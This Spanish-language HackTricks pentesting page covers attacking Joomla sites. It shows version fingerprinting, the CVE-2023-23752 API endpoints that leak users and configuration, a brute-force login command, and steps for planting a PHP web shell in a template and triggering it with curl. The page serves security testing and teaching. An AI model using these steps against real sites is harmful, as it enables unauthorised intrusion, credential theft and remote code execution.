Joomla

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Estadísticas de Joomla

Joomla recopila algunas estadísticas de uso anónimas, como la distribución de las versiones de Joomla, PHP y bases de datos, así como los sistemas operativos de servidor en uso en las instalaciones de Joomla. Estos datos se pueden consultar a través de su API pública.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeración

Descubrimiento/Recopilación de Información

  • Verifica el meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Versión

  • En /administrator/manifests/files/joomla.xml puedes ver la versión.
  • En /language/en-GB/en-GB.xml puedes obtener la versión de Joomla.
  • En plugins/system/cache/cache.xml puedes ver una versión aproximada.

Automático

droopescan scan joomla --url http://joomla-site.local/

En 80,443 - La metodología de pentesting web es una sección sobre escáneres de CMS que pueden escanear Joomla.

Divulgación de Información No Autenticada:

Las versiones desde 4.0.0 hasta 4.2.7 son vulnerables a la divulgación de información no autenticada (CVE-2023-23752) que volcará credenciales y otra información.

  • Usuarios: http://<host>/api/v1/users?public=true
  • Archivo de Configuración: http://<host>/api/index.php/v1/config/application?public=true

Módulo MSF: scanner/http/joomla_api_improper_access_checks o script ruby: 51334

Fuerza Bruta

Puedes usar este script para intentar forzar el inicio de sesión.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Si lograste obtener credenciales de administrador, puedes RCE dentro de él agregando un fragmento de código PHP para obtener RCE. Podemos hacer esto personalizando una plantilla.

  1. Haz clic en Templates en la parte inferior izquierda bajo Configuration para abrir el menú de plantillas.
  2. Haz clic en un nombre de plantilla. Elijamos protostar bajo el encabezado de columna Template. Esto nos llevará a la página Templates: Customise.
  3. Finalmente, puedes hacer clic en una página para abrir el código fuente de la página. Elijamos la página error.php. Agregaremos un PHP one-liner para obtener ejecución de código de la siguiente manera:
  4. system($_GET['cmd']);
  5. Guardar y cerrar
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id

From XSS to RCE

  • JoomSploit: Script de explotación de Joomla que eleva XSS a RCE u otras vulnerabilidades críticas. Para más información, consulta esta publicación. Proporciona soporte para las versiones de Joomla 5.X.X, 4.X.X y 3.X.X, y permite:
  • Escalación de privilegios: Crea un usuario en Joomla.
  • (RCE) Edición de plantillas integradas: Edita plantillas integradas en Joomla.
  • (Personalizado) Explotaciones personalizadas: Explotaciones personalizadas para complementos de Joomla de terceros.

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks